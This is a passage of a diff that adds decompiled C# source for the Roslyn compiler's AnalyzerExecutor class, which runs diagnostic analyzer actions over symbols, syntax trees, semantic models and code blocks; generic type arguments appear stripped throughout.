Compilation.Options.SyntaxTreeOptionsProvider, cancellationToken); + } + + public static AnalyzerExecutor Create(Compilation compilation, AnalyzerOptions analyzerOptions, Action? addNonCategorizedDiagnostic, Action onAnalyzerException, Func? analyzerExceptionFilter, Func isCompilerAnalyzer, AnalyzerManager analyzerManager, Func shouldSkipAnalysisOnGeneratedCode, Func shouldSuppressGeneratedCodeDiagnostic, Func isGeneratedCodeLocation, Func isAnalyzerSuppressedForTree, Func getAnalyzerGate, Func getSemanticModel, bool logExecutionTime = false, Action? addCategorizedLocalDiagnostic = null, Action? addCategorizedNonLocalDiagnostic = null, Action? addSuppression = null) + { + ConcurrentDictionary> analyzerExecutionTimeMap = (logExecutionTime ? new ConcurrentDictionary>() : null); + return new AnalyzerExecutor(compilation, analyzerOptions, addNonCategorizedDiagnostic, onAnalyzerException, analyzerExceptionFilter, isCompilerAnalyzer, analyzerManager, shouldSkipAnalysisOnGeneratedCode, shouldSuppressGeneratedCodeDiagnostic, isGeneratedCodeLocation, isAnalyzerSuppressedForTree, getAnalyzerGate, getSemanticModel, analyzerExecutionTimeMap, addCategorizedLocalDiagnostic, addCategorizedNonLocalDiagnostic, addSuppression); + } + + private AnalyzerExecutor(Compilation compilation, AnalyzerOptions analyzerOptions, Action? addNonCategorizedDiagnosticOpt, Action onAnalyzerException, Func? analyzerExceptionFilter, Func isCompilerAnalyzer, AnalyzerManager analyzerManager, Func shouldSkipAnalysisOnGeneratedCode, Func shouldSuppressGeneratedCodeDiagnostic, Func isGeneratedCodeLocation, Func isAnalyzerSuppressedForTree, Func getAnalyzerGate, Func getSemanticModel, ConcurrentDictionary>? analyzerExecutionTimeMap, Action? addCategorizedLocalDiagnostic, Action? addCategorizedNonLocalDiagnostic, Action? addSuppression) + { + Compilation = compilation; + AnalyzerOptions = analyzerOptions; + _addNonCategorizedDiagnostic = addNonCategorizedDiagnosticOpt; + OnAnalyzerException = onAnalyzerException; + _analyzerExceptionFilter = analyzerExceptionFilter; + _isCompilerAnalyzer = isCompilerAnalyzer; + _analyzerManager = analyzerManager; + _shouldSkipAnalysisOnGeneratedCode = shouldSkipAnalysisOnGeneratedCode; + _shouldSuppressGeneratedCodeDiagnostic = shouldSuppressGeneratedCodeDiagnostic; + _isGeneratedCodeLocation = isGeneratedCodeLocation; + _isAnalyzerSuppressedForTree = isAnalyzerSuppressedForTree; + _getAnalyzerGate = getAnalyzerGate; + _getSemanticModel = getSemanticModel; + _analyzerExecutionTimeMap = analyzerExecutionTimeMap; + _addCategorizedLocalDiagnostic = addCategorizedLocalDiagnostic; + _addCategorizedNonLocalDiagnostic = addCategorizedNonLocalDiagnostic; + _addSuppression = addSuppression; + _compilationAnalysisValueProviderFactory = new CompilationAnalysisValueProviderFactory(); + } + + public void ExecuteInitializeMethod(DiagnosticAnalyzer analyzer, HostSessionStartAnalysisScope sessionScope, CancellationToken cancellationToken) + { + AnalyzerAnalysisContext item = new AnalyzerAnalysisContext(analyzer, sessionScope); + ExecuteAndCatchIfThrows(analyzer, delegate((DiagnosticAnalyzer analyzer, AnalyzerAnalysisContext context) data) + { + data.analyzer.Initialize(data.context); + }, (analyzer, item), null, cancellationToken); + } + + public void ExecuteCompilationStartActions(ImmutableArray actions, HostCompilationStartAnalysisScope compilationScope, CancellationToken cancellationToken) + { + ImmutableArray.Enumerator enumerator = actions.GetEnumerator(); + while (enumerator.MoveNext()) + { + CompilationStartAnalyzerAction current = enumerator.Current; + cancellationToken.ThrowIfCancellationRequested(); + AnalyzerCompilationStartAnalysisContext item = new AnalyzerCompilationStartAnalysisContext(current.Analyzer, compilationScope, Compilation, AnalyzerOptions, _compilationAnalysisValueProviderFactory, cancellationToken); + ExecuteAndCatchIfThrows(current.Analyzer, delegate((Action action, AnalyzerCompilationStartAnalysisContext context) data) + { + data.action(data.context); + }, (current.Action, item), new AnalysisContextInfo(Compilation), cancellationToken); + } + } + + public void ExecuteSymbolStartActions(ISymbol symbol, DiagnosticAnalyzer analyzer, ImmutableArray actions, HostSymbolStartAnalysisScope symbolScope, bool isGeneratedCodeSymbol, SyntaxTree? filterTree, TextSpan? filterSpan, CancellationToken cancellationToken) + { + if ((isGeneratedCodeSymbol && _shouldSkipAnalysisOnGeneratedCode(analyzer)) || IsAnalyzerSuppressedForSymbol(analyzer, symbol, cancellationToken)) + { + return; + } + ImmutableArray.Enumerator enumerator = actions.GetEnumerator(); + while (enumerator.MoveNext()) + { + SymbolStartAnalyzerAction current = enumerator.Current; + cancellationToken.ThrowIfCancellationRequested(); + AnalyzerSymbolStartAnalysisContext item = new AnalyzerSymbolStartAnalysisContext(current.Analyzer, symbolScope, symbol, Compilation, AnalyzerOptions, isGeneratedCodeSymbol, filterTree, filterSpan, cancellationToken); + ExecuteAndCatchIfThrows(current.Analyzer, delegate((Action action, AnalyzerSymbolStartAnalysisContext context) data) + { + data.action(data.context); + }, (current.Action, item), new AnalysisContextInfo(Compilation, symbol), cancellationToken); + } + } + + public void ExecuteSuppressionAction(DiagnosticSuppressor suppressor, ImmutableArray reportedDiagnostics, CancellationToken cancellationToken) + { + if (!reportedDiagnostics.IsEmpty) + { + cancellationToken.ThrowIfCancellationRequested(); + Func isSupportedSuppressionDescriptor = _analyzerManager.GetSupportedSuppressionDescriptors(suppressor, this, cancellationToken).Contains; + Action item = suppressor.ReportSuppressions; + ExecuteAndCatchIfThrows(argument: (item, new SuppressionAnalysisContext(Compilation, AnalyzerOptions, reportedDiagnostics, _addSuppression, isSupportedSuppressionDescriptor, _getSemanticModel, cancellationToken)), analyzer: suppressor, analyze: delegate((Action action, SuppressionAnalysisContext context) data) + { + data.action(data.context); + }, contextInfo: new AnalysisContextInfo(Compilation), cancellationToken: cancellationToken); + } + } + + public void ExecuteCompilationActions(ImmutableArray compilationActions, DiagnosticAnalyzer analyzer, CompilationEvent compilationEvent, CancellationToken cancellationToken) + { + Action addCompilationDiagnostic = GetAddCompilationDiagnostic(analyzer, cancellationToken); + Func boundFunction; + using (PooledDelegates.GetPooledFunction((Diagnostic d, CancellationToken ct, (AnalyzerExecutor self, DiagnosticAnalyzer analyzer) arg) => arg.self.IsSupportedDiagnostic(arg.analyzer, d, ct), (this, analyzer), out boundFunction)) + { + ImmutableArray.Enumerator enumerator = compilationActions.GetEnumerator(); + while (enumerator.MoveNext()) + { + CompilationAnalyzerAction current = enumerator.Current; + cancellationToken.ThrowIfCancellationRequested(); + CompilationAnalysisContext item = new CompilationAnalysisContext(Compilation, AnalyzerOptions, addCompilationDiagnostic, boundFunction, _compilationAnalysisValueProviderFactory, cancellationToken); + ExecuteAndCatchIfThrows(current.Analyzer, delegate((Action action, CompilationAnalysisContext context) data) + { + data.action(data.context); + }, (current.Action, item), new AnalysisContextInfo(Compilation), cancellationToken); + } + } + } + + public void ExecuteSymbolActions(ImmutableArray symbolActions, DiagnosticAnalyzer analyzer, SymbolDeclaredCompilationEvent symbolDeclaredEvent, Func getTopMostNodeForAnalysis, bool isGeneratedCodeSymbol, SyntaxTree? filterTree, TextSpan? filterSpan, CancellationToken cancellationToken) + { + if ((isGeneratedCodeSymbol && _shouldSkipAnalysisOnGeneratedCode(analyzer)) || IsAnalyzerSuppressedForSymbol(analyzer, symbolDeclaredEvent.Symbol, cancellationToken)) + { + return; + } + ISymbol symbol = symbolDeclaredEvent.Symbol; + Action addDiagnostic = GetAddDiagnostic(symbol, symbolDeclaredEvent.DeclaringSyntaxReferences, analyzer, getTopMostNodeForAnalysis, cancellationToken); + Func boundFunction; + using (PooledDelegates.GetPooledFunction((Diagnostic d, CancellationToken ct, (AnalyzerExecutor self, DiagnosticAnalyzer analyzer) arg) => arg.self.IsSupportedDiagnostic(arg.analyzer, d, ct), (this, analyzer), out boundFunction)) + { + ImmutableArray.Enumerator enumerator = symbolActions.GetEnumerator(); + while (enumerator.MoveNext()) + { + SymbolAnalyzerAction current = enumerator.Current; + Action action = current.Action; + if (current.Kinds.Contains(symbol.Kind)) + { + cancellationToken.ThrowIfCancellationRequested(); + ExecuteAndCatchIfThrows(argument: (action, new SymbolAnalysisContext(symbol, Compilation, AnalyzerOptions, addDiagnostic, boundFunction, isGeneratedCodeSymbol, filterTree, filterSpan, cancellationToken)), analyzer: current.Analyzer, analyze: delegate((Action action, SymbolAnalysisContext context) data) + { + data.action(data.context); + }, contextInfo: new AnalysisContextInfo(Compilation, symbol), cancellationToken: cancellationToken); + } + } + } + } + + public bool TryExecuteSymbolEndActionsForContainer(INamespaceOrTypeSymbol containingSymbol, ISymbol processedMemberSymbol, DiagnosticAnalyzer analyzer, Func getTopMostNodeForAnalysis, bool isGeneratedCode, SyntaxTree? filterTree, TextSpan? filterSpan, CancellationToken cancellationToken, [NotNullWhen(true)] out SymbolDeclaredCompilationEvent? containingSymbolDeclaredEvent) + { + containingSymbolDeclaredEvent = null; + if (!_analyzerManager.TryProcessCompletedMemberAndGetPendingSymbolEndActionsForContainer(containingSymbol, processedMemberSymbol, analyzer, out (ImmutableArray, SymbolDeclaredCompilationEvent) containerEndActionsAndEvent)) + { + return false; + } + ImmutableArray symbolEndActions; + (symbolEndActions, containingSymbolDeclaredEvent) = containerEndActionsAndEvent; + ExecuteSymbolEndActionsCore(symbolEndActions, analyzer, containingSymbolDeclaredEvent, getTopMostNodeForAnalysis, isGeneratedCode, filterTree, filterSpan, cancellationToken); + return true; + } + + public bool TryExecuteSymbolEndActions(ImmutableArray symbolEndActions, DiagnosticAnalyzer analyzer, SymbolDeclaredCompilationEvent symbolDeclaredEvent, Func getTopMostNodeForAnalysis, bool isGeneratedCode, SyntaxTree? filterTree, TextSpan? filterSpan, CancellationToken cancellationToken) + { + if (!_analyzerManager.TryStartExecuteSymbolEndActions(symbolEndActions, analyzer, symbolDeclaredEvent)) + { + return false; + } + ExecuteSymbolEndActionsCore(symbolEndActions, analyzer, symbolDeclaredEvent, getTopMostNodeForAnalysis, isGeneratedCode, filterTree, filterSpan, cancellationToken); + return true; + } + + private void ExecuteSymbolEndActionsCore(ImmutableArray symbolEndActions, DiagnosticAnalyzer analyzer, SymbolDeclaredCompilationEvent symbolDeclaredEvent, Func getTopMostNodeForAnalysis, bool isGeneratedCode, SyntaxTree? filterTree, TextSpan? filterSpan, CancellationToken cancellationToken) + { + ISymbol symbol = symbolDeclaredEvent.Symbol; + Action addDiagnostic = GetAddDiagnostic(symbol, symbolDeclaredEvent.DeclaringSyntaxReferences, analyzer, getTopMostNodeForAnalysis, cancellationToken); + Func boundFunction; + using (PooledDelegates.GetPooledFunction((Diagnostic d, CancellationToken ct, (AnalyzerExecutor self, DiagnosticAnalyzer analyzer) arg) => arg.self.IsSupportedDiagnostic(arg.analyzer, d, ct), (this, analyzer), out boundFunction)) + { + ImmutableArray.Enumerator enumerator = symbolEndActions.GetEnumerator(); + while (enumerator.MoveNext()) + { + SymbolEndAnalyzerAction current = enumerator.Current; + Action action = current.Action; + cancellationToken.ThrowIfCancellationRequested(); + ExecuteAndCatchIfThrows(argument: (action, new SymbolAnalysisContext(symbol, Compilation, AnalyzerOptions, addDiagnostic, boundFunction, isGeneratedCode, filterTree, filterSpan, cancellationToken)), analyzer: current.Analyzer, analyze: delegate((Action action, SymbolAnalysisContext context) data) + { + data.action(data.context); + }, contextInfo: new AnalysisContextInfo(Compilation, symbol), cancellationToken: cancellationToken); + } + _analyzerManager.MarkSymbolEndAnalysisComplete(symbol, analyzer); + } + } + + public void ExecuteSemanticModelActions(ImmutableArray semanticModelActions, DiagnosticAnalyzer analyzer, SemanticModel semanticModel, TextSpan? filterSpan, bool isGeneratedCode, CancellationToken cancellationToken) + { + if ((isGeneratedCode && _shouldSkipAnalysisOnGeneratedCode(analyzer)) || IsAnalyzerSuppressedForTree(analyzer, semanticModel.SyntaxTree, cancellationToken)) + { + return; + } + AnalyzerDiagnosticReporter addSemanticDiagnostic = GetAddSemanticDiagnostic(semanticModel.SyntaxTree, analyzer, cancellationToken); + Func boundFunction; + using (PooledDelegates.GetPooledFunction((Diagnostic d, CancellationToken ct, (AnalyzerExecutor self, DiagnosticAnalyzer analyzer) arg) => arg.self.IsSupportedDiagnostic(arg.analyzer, d, ct), (this, analyzer), out boundFunction)) + { + ImmutableArray.Enumerator enumerator = semanticModelActions.GetEnumerator(); + while (enumerator.MoveNext()) + { + SemanticModelAnalyzerAction current = enumerator.Current; + cancellationToken.ThrowIfCancellationRequested(); + SemanticModelAnalysisContext item = new SemanticModelAnalysisContext(semanticModel, AnalyzerOptions, addSemanticDiagnostic.AddDiagnosticAction, boundFunction, filterSpan, isGeneratedCode, cancellationToken); + ExecuteAndCatchIfThrows(current.Analyzer, delegate((Action action, SemanticModelAnalysisContext context) data) + { + data.action(data.context); + }, (current.Action, item), new AnalysisContextInfo(semanticModel), cancellationToken); + } + addSemanticDiagnostic.Free(); + } + } + + public void ExecuteSyntaxTreeActions(ImmutableArray syntaxTreeActions, DiagnosticAnalyzer analyzer, SourceOrAdditionalFile file, TextSpan? filterSpan, bool isGeneratedCode, CancellationToken cancellationToken) + { + SyntaxTree sourceTree = file.SourceTree; + if ((isGeneratedCode && _shouldSkipAnalysisOnGeneratedCode(analyzer)) || IsAnalyzerSuppressedForTree(analyzer, sourceTree, cancellationToken)) + { + return; + } + AnalyzerDiagnosticReporter addSyntaxDiagnostic = GetAddSyntaxDiagnostic(file, analyzer, cancellationToken); + Func boundFunction; + using (PooledDelegates.GetPooledFunction((Diagnostic d, CancellationToken ct, (AnalyzerExecutor self, DiagnosticAnalyzer analyzer) arg) => arg.self.IsSupportedDiagnostic(arg.analyzer, d, ct), (this, analyzer), out boundFunction)) + { + ImmutableArray.Enumerator enumerator = syntaxTreeActions.GetEnumerator(); + while (enumerator.MoveNext()) + { + SyntaxTreeAnalyzerAction current = enumerator.Current; + cancellationToken.ThrowIfCancellationRequested(); + SyntaxTreeAnalysisContext item = new SyntaxTreeAnalysisContext(sourceTree, AnalyzerOptions, addSyntaxDiagnostic.AddDiagnosticAction, boundFunction, Compilation, filterSpan, isGeneratedCode, cancellationToken); + ExecuteAndCatchIfThrows(current.Analyzer, delegate((Action action, SyntaxTreeAnalysisContext context) data) + { + data.action(data.context); + }, (current.Action, item), new AnalysisContextInfo(Compilation, file), cancellationToken); + } + addSyntaxDiagnostic.Free(); + } + } + + public void ExecuteAdditionalFileActions(ImmutableArray additionalFileActions, DiagnosticAnalyzer analyzer, SourceOrAdditionalFile file, TextSpan? filterSpan, CancellationToken cancellationToken) + { + AdditionalText additionalFile = file.AdditionalFile; + AnalyzerDiagnosticReporter addSyntaxDiagnostic = GetAddSyntaxDiagnostic(file, analyzer, cancellationToken); + Func boundFunction; + using (PooledDelegates.GetPooledFunction((Diagnostic d, CancellationToken ct, (AnalyzerExecutor self, DiagnosticAnalyzer analyzer) arg) => arg.self.IsSupportedDiagnostic(arg.analyzer, d, ct), (this, analyzer), out boundFunction)) + { + ImmutableArray.Enumerator enumerator = additionalFileActions.GetEnumerator(); + while (enumerator.MoveNext()) + { + AdditionalFileAnalyzerAction current = enumerator.Current; + cancellationToken.ThrowIfCancellationRequested(); + AdditionalFileAnalysisContext item = new AdditionalFileAnalysisContext(additionalFile, AnalyzerOptions, addSyntaxDiagnostic.AddDiagnosticAction, boundFunction, Compilation, filterSpan, cancellationToken); + ExecuteAndCatchIfThrows(current.Analyzer, delegate((Action action, AdditionalFileAnalysisContext context) data) + { + data.action(data.context); + }, (current.Action, item), new AnalysisContextInfo(Compilation, file), cancellationToken); + } + addSyntaxDiagnostic.Free(); + } + } + + private void ExecuteSyntaxNodeAction(SyntaxNodeAnalyzerAction syntaxNodeAction, SyntaxNode node, ISymbol containingSymbol, SemanticModel semanticModel, Action addDiagnostic, Func isSupportedDiagnostic, TextSpan? filterSpan, bool isGeneratedCode, CancellationToken cancellationToken) where TLanguageKindEnum : struct + { + SyntaxNodeAnalysisContext item = new SyntaxNodeAnalysisContext(node, containingSymbol, semanticModel, AnalyzerOptions, addDiagnostic, isSupportedDiagnostic, filterSpan, isGeneratedCode, cancellationToken); + ExecuteAndCatchIfThrows(syntaxNodeAction.Analyzer, delegate((Action action, SyntaxNodeAnalysisContext context) data) + { + data.action(data.context); + }, (syntaxNodeAction.Action, item), new AnalysisContextInfo(Compilation, node), cancellationToken); + } + + private void ExecuteOperationAction(OperationAnalyzerAction operationAction, IOperation operation, ISymbol containingSymbol, SemanticModel semanticModel, Action addDiagnostic, Func isSupportedDiagnostic, TextSpan? filterSpan, bool isGeneratedCode, CancellationToken cancellationToken) + { + OperationAnalysisContext item = new OperationAnalysisContext(operation, containingSymbol, semanticModel.Compilation, AnalyzerOptions, addDiagnostic, isSupportedDiagnostic, GetControlFlowGraph, filterSpan, isGeneratedCode, cancellationToken); + ExecuteAndCatchIfThrows(operationAction.Analyzer, delegate((Action action, OperationAnalysisContext context) data) + { + data.action(data.context); + }, (operationAction.Action, item), new AnalysisContextInfo(Compilation, operation), cancellationToken); + } + + public void ExecuteCodeBlockActions(IEnumerable> codeBlockStartActions, IEnumerable codeBlockActions, IEnumerable codeBlockEndActions, DiagnosticAnalyzer analyzer, SyntaxNode declaredNode, ISymbol declaredSymbol, ImmutableArray executableCodeBlocks, SemanticModel semanticModel, Func getKind, TextSpan? filterSpan, bool isGeneratedCode, CancellationToken cancellationToken) where TLanguageKindEnum : struct + { + ExecuteBlockActionsCore, CodeBlockAnalyzerAction, SyntaxNodeAnalyzerAction, SyntaxNode, TLanguageKindEnum>(codeBlockStartActions, codeBlockActions, codeBlockEndActions, analyzer, declaredNode, declaredSymbol, executableCodeBlocks, (ImmutableArray codeBlocks) => codeBlocks.SelectMany(delegate(SyntaxNode cb) + { + Func syntaxNodesToAnalyzeFilter = semanticModel.GetSyntaxNodesToAnalyzeFilter(cb, declaredSymbol); + return (syntaxNodesToAnalyzeFilter != null) ? cb.DescendantNodesAndSelf(syntaxNodesToAnalyzeFilter).Where(syntaxNodesToAnalyzeFilter) : cb.DescendantNodesAndSelf(); + }), semanticModel, getKind, filterSpan, isGeneratedCode, cancellationToken); + } + + public void ExecuteOperationBlockActions(IEnumerable operationBlockStartActions, IEnumerable operationBlockActions, IEnumerable operationBlockEndActions, DiagnosticAnalyzer analyzer, SyntaxNode declaredNode, ISymbol declaredSymbol, ImmutableArray operationBlocks, ImmutableArray operations, SemanticModel semanticModel, TextSpan? filterSpan, bool isGeneratedCode, CancellationToken cancellationToken) + { + ExecuteBlockActionsCore(operationBlockStartActions, operationBlockActions, operationBlockEndActions, analyzer, declaredNode, declaredSymbol, operationBlocks, (ImmutableArray blocks) => operations, semanticModel, null, filterSpan, isGeneratedCode, cancellationToken); + } + + private void ExecuteBlockActionsCore(IEnumerable startActions, IEnumerable actions, IEnumerable endActions, DiagnosticAnalyzer analyzer, SyntaxNode declaredNode, ISymbol declaredSymbol, ImmutableArray executableBlocks, Func, IEnumerable> getNodesToAnalyze, SemanticModel semanticModel, Func? getKind, TextSpan? filterSpan, bool isGeneratedCode, CancellationToken cancellationToken) where TBlockStartAction : AnalyzerAction where TBlockAction : AnalyzerAction where TNodeAction : AnalyzerAction where TLanguageKindEnum : struct + { + if ((isGeneratedCode && _shouldSkipAnalysisOnGeneratedCode(analyzer)) || IsAnalyzerSuppressedForTree(analyzer, declaredNode.SyntaxTree, cancellationToken)) + { + return; + } + PooledHashSet instance = PooledHashSet.GetInstance(); + PooledHashSet instance2 = PooledHashSet.GetInstance(); + ArrayBuilder instance3 = ArrayBuilder.GetInstance(); + ArrayBuilder> arrayBuilder = instance3 as ArrayBuilder>; + ArrayBuilder arrayBuilder2 = instance3 as ArrayBuilder; + ImmutableArray operationBlocks = ((executableBlocks[0] is IOperation) ? ((ImmutableArray)(object)executableBlocks) : ImmutableArray.Empty); + instance2.AddAll(actions); + instance.AddAll(endActions); + AnalyzerDiagnosticReporter addSemanticDiagnostic = GetAddSemanticDiagnostic(semanticModel.SyntaxTree, declaredNode.FullSpan, analyzer, cancellationToken); + foreach (TBlockStartAction startAction in startActions) + { + if (startAction is CodeBlockStartAnalyzerAction codeBlockStartAnalyzerAction) + { + PooledHashSet item = instance as PooledHashSet; + HostCodeBlockStartAnalysisScope hostCodeBlockStartAnalysisScope = new HostCodeBlockStartAnalysisScope(); + AnalyzerCodeBlockStartAnalysisContext item2 = new AnalyzerCodeBlockStartAnalysisContext(startAction.Analyzer, hostCodeBlockStartAnalysisScope, declaredNode, declaredSymbol, semanticModel, AnalyzerOptions, filterSpan, isGeneratedCode, cancellationToken); + ExecuteAndCatchIfThrows(startAction.Analyzer, delegate((Action> action, AnalyzerCodeBlockStartAnalysisContext context, HostCodeBlockStartAnalysisScope scope, PooledHashSet blockEndActions, ArrayBuilder> syntaxNodeActions) data) + { + data.action(data.context); + data.blockEndActions?.AddAll(data.scope.CodeBlockEndActions); + data.syntaxNodeActions?.AddRange(data.scope.SyntaxNodeActions); + }, (codeBlockStartAnalyzerAction.Action, item2, hostCodeBlockStartAnalysisScope, item, arrayBuilder), new AnalysisContextInfo(Compilation, declaredSymbol, declaredNode), cancellationToken); + } + else if (startAction is OperationBlockStartAnalyzerAction operationBlockStartAnalyzerAction) + { + PooledHashSet item3 = instance as PooledHashSet; + HostOperationBlockStartAnalysisScope hostOperationBlockStartAnalysisScope = new HostOperationBlockStartAnalysisScope(); + AnalyzerOperationBlockStartAnalysisContext item4 = new AnalyzerOperationBlockStartAnalysisContext(startAction.Analyzer, hostOperationBlockStartAnalysisScope, operationBlocks, declaredSymbol, semanticModel.Compilation, AnalyzerOptions, GetControlFlowGraph, declaredNode.SyntaxTree, filterSpan, isGeneratedCode, cancellationToken); + ExecuteAndCatchIfThrows(startAction.Analyzer, delegate((Action action, AnalyzerOperationBlockStartAnalysisContext context, HostOperationBlockStartAnalysisScope scope, PooledHashSet blockEndActions, ArrayBuilder operationActions) data) + { + data.action(data.context); + data.blockEndActions?.AddAll(data.scope.OperationBlockEndActions); + data.operationActions?.AddRange(data.scope.OperationActions); + }, (operationBlockStartAnalyzerAction.Action, item4, hostOperationBlockStartAnalysisScope, item3, arrayBuilder2), new AnalysisContextInfo(Compilation, declaredSymbol), cancellationToken); + } + } + Func boundFunction; + using (PooledDelegates.GetPooledFunction((Diagnostic d, CancellationToken ct, (AnalyzerExecutor self, DiagnosticAnalyzer analyzer) arg) => arg.self.IsSupportedDiagnostic(arg.analyzer, d, ct), (this, analyzer), out boundFunction)) + { + if (instance3.Any()) + { + if (arrayBuilder != null) + { + ImmutableSegmentedDictionary>> nodeActionsByKind = GetNodeActionsByKind(arrayBuilder); + IEnumerable nodesToAnalyze = (IEnumerable)getNodesToAnalyze(executableBlocks); + ExecuteSyntaxNodeActions(nodesToAnalyze, nodeActionsByKind, analyzer, declaredSymbol, semanticModel, getKind, addSemanticDiagnostic, boundFunction, filterSpan, isGeneratedCode, startActions.Any(), cancellationToken); + } + else if (arrayBuilder2 != null) + { + ImmutableSegmentedDictionary> operationActionsByKind = GetOperationActionsByKind(arrayBuilder2); + IEnumerable operationsToAnalyze = (IEnumerable)getNodesToAnalyze(executableBlocks); + ExecuteOperationActions(operationsToAnalyze, operationActionsByKind, analyzer, declaredSymbol, semanticModel, addSemanticDiagnostic, boundFunction, filterSpan, isGeneratedCode, startActions.Any(), cancellationToken); + } + } + instance3.Free(); + ExecuteBlockActions(instance2, declaredNode, declaredSymbol, analyzer, semanticModel, operationBlocks, addSemanticDiagnostic.AddDiagnosticAction, boundFunction, filterSpan, isGeneratedCode, cancellationToken); + ExecuteBlockActions(instance, declaredNode, declaredSymbol, analyzer, semanticModel, operationBlocks, addSemanticDiagnostic.AddDiagnosticAction, boundFunction, filterSpan, isGeneratedCode, cancellationToken); + addSemanticDiagnostic.Free(); + } + } + + private void ExecuteBlockActions(PooledHashSet blockActions, SyntaxNode declaredNode, ISymbol declaredSymbol, DiagnosticAnalyzer analyzer, SemanticModel semanticModel, ImmutableArray operationBlocks, Action addDiagnostic, Func isSupportedDiagnostic, TextSpan? filterSpan, bool isGeneratedCode, CancellationToken cancellationToken) where TBlockAction : AnalyzerAction + { + foreach (TBlockAction blockAction in blockActions) + { + if (blockAction is CodeBlockAnalyzerAction codeBlockAnalyzerAction) + { + CodeBlockAnalysisContext item = new CodeBlockAnalysisContext(declaredNode, declaredSymbol, semanticModel, AnalyzerOptions, addDiagnostic, isSupportedDiagnostic, filterSpan, isGeneratedCode, cancellationToken); + ExecuteAndCatchIfThrows(codeBlockAnalyzerAction.Analyzer, delegate((Action action, CodeBlockAnalysisContext context) data) + { + data.action(data.context); + }, (codeBlockAnalyzerAction.Action, item), new AnalysisContextInfo(Compilation, declaredSymbol, declaredNode), cancellationToken); + } + else if (blockAction is OperationBlockAnalyzerAction operationBlockAnalyzerAction) + { + OperationBlockAnalysisContext item2 = new OperationBlockAnalysisContext(operationBlocks, declaredSymbol, semanticModel.Compilation, AnalyzerOptions, addDiagnostic, isSupportedDiagnostic, GetControlFlowGraph, declaredNode.SyntaxTree, filterSpan, isGeneratedCode, cancellationToken); + ExecuteAndCatchIfThrows(operationBlockAnalyzerAction.Analyzer, delegate((Action action, OperationBlockAnalysisContext context) data) + { + data.action(data.context); + }, (operationBlockAnalyzerAction.Action, item2), new AnalysisContextInfo(Compilation, declaredSymbol), cancellationToken); + } + } + blockActions.Free(); + } + + internal static ImmutableSegmentedDictionary>> GetNodeActionsByKind(IEnumerable> nodeActions) where TLanguageKindEnum : struct + { + PooledDictionary>> instance = PooledDictionary>>.GetInstance(); + foreach (SyntaxNodeAnalyzerAction nodeAction in nodeActions) + { + ImmutableArray.Enumerator enumerator2 = nodeAction.Kinds.GetEnumerator(); + while (enumerator2.MoveNext()) + { + TLanguageKindEnum current2 = enumerator2.Current; + if (!instance.TryGetValue(current2, out var value)) + { + instance.Add(current2, value = ArrayBuilder>.GetInstance()); + } + value.Add(nodeAction); + } + } + ImmutableSegmentedDictionary>> result = ImmutableSegmentedDictionary.CreateRange(instance.Select((KeyValuePair>> kvp) => KeyValuePairUtil.Create(kvp.Key, kvp.Value.ToImmutableAndFree()))); + instance.Free(); + return result; + } + + public void ExecuteSyntaxNodeActions(IEnumerable nodesToAnalyze, ImmutableSegmentedDictionary>> nodeActionsByKind, DiagnosticAnalyzer analyzer, SemanticModel model, Func getKind, TextSpan spanForContainingTopmostNodeForAnalysis, ISymbol declaredSymbol, TextSpan? filterSpan, bool isGeneratedCode, bool hasCodeBlockStartOrSymbolStartActions, CancellationToken cancellationToken) where TLanguageKindEnum : struct + { + if ((isGeneratedCode && _shouldSkipAnalysisOnGeneratedCode(analyzer)) || IsAnalyzerSuppressedForTree(analyzer, model.SyntaxTree, cancellationToken)) + { + return; + } + AnalyzerDiagnosticReporter addSemanticDiagnostic = GetAddSemanticDiagnostic(model.SyntaxTree, spanForContainingTopmostNodeForAnalysis, analyzer, cancellationToken); + Func boundFunction; + using (PooledDelegates.GetPooledFunction((Diagnostic d, CancellationToken ct, (AnalyzerExecutor self, DiagnosticAnalyzer analyzer) arg) => arg.self.IsSupportedDiagnostic(arg.analyzer, d, ct), (this, analyzer), out boundFunction)) + { + ExecuteSyntaxNodeActions(nodesToAnalyze, nodeActionsByKind, analyzer, declaredSymbol, model, getKind, addSemanticDiagnostic, boundFunction, filterSpan, isGeneratedCode, hasCodeBlockStartOrSymbolStartActions, cancellationToken); + addSemanticDiagnostic.Free(); + } + } + + private void ExecuteSyntaxNodeActions(IEnumerable nodesToAnalyze, ImmutableSegmentedDictionary>> nodeActionsByKind, DiagnosticAnalyzer analyzer, ISymbol containingSymbol, SemanticModel model, Func getKind, AnalyzerDiagnosticReporter diagReporter, Func isSupportedDiagnostic, TextSpan? filterSpan, bool isGeneratedCode, bool hasCodeBlockStartOrSymbolStartActions, CancellationToken cancellationToken) where TLanguageKindEnum : struct + { + foreach (SyntaxNode item in nodesToAnalyze) + { + if (nodeActionsByKind.TryGetValue(getKind(item), out ImmutableArray> value) && ShouldExecuteNode(item, analyzer, cancellationToken)) + { + if (!hasCodeBlockStartOrSymbolStartActions) + { + diagReporter.FilterSpanForLocalDiagnostics = item.FullSpan; + } + ImmutableArray>.Enumerator enumerator2 = value.GetEnumerator(); + while (enumerator2.MoveNext()) + { + SyntaxNodeAnalyzerAction current2 = enumerator2.Current; + ExecuteSyntaxNodeAction(current2, item, containingSymbol, model, diagReporter.AddDiagnosticAction, isSupportedDiagnostic, filterSpan, isGeneratedCode, cancellationToken); + } + } + } + } + + internal static ImmutableSegmentedDictionary> GetOperationActionsByKind(IEnumerable operationActions) + { + PooledDictionary> instance = PooledDictionary>.GetInstance(); + foreach (OperationAnalyzerAction operationAction in operationActions) + { + ImmutableArray.Enumerator enumerator2 = operationAction.Kinds.GetEnumerator(); + while (enumerator2.MoveNext()) + { + OperationKind current2 = enumerator2.Current; + if (!instance.TryGetValue(current2, out var value)) + { + instance.Add(current2, value = ArrayBuilder.GetInstance()); + } + value.Add(operationAction); + } + } + ImmutableSegmentedDictionary> result = ImmutableSegmentedDictionary.CreateRange(instance.Select((KeyValuePair> kvp) => KeyValuePairUtil.Create(kvp.Key, kvp.Value.ToImmutableAndFree()))); + instance.Free(); + return result; + } + + public void ExecuteOperationActions(IEnumerable operationsToAnalyze, ImmutableSegmentedDictionary> operationActionsByKind, DiagnosticAnalyzer analyzer, SemanticModel model, TextSpan spanForContainingOperationBlock, ISymbol declaredSymbol, TextSpan? filterSpan, bool isGeneratedCode, bool hasOperationBlockStartOrSymbolStartActions, CancellationToken cancellationToken) + { + if ((isGeneratedCode && _shouldSkipAnalysisOnGeneratedCode(analyzer)) || IsAnalyzerSuppressedForTree(analyzer, model.SyntaxTree, cancellationToken)) + { + return; + } + AnalyzerDiagnosticReporter addSemanticDiagnostic = GetAddSemanticDiagnostic(model.SyntaxTree, 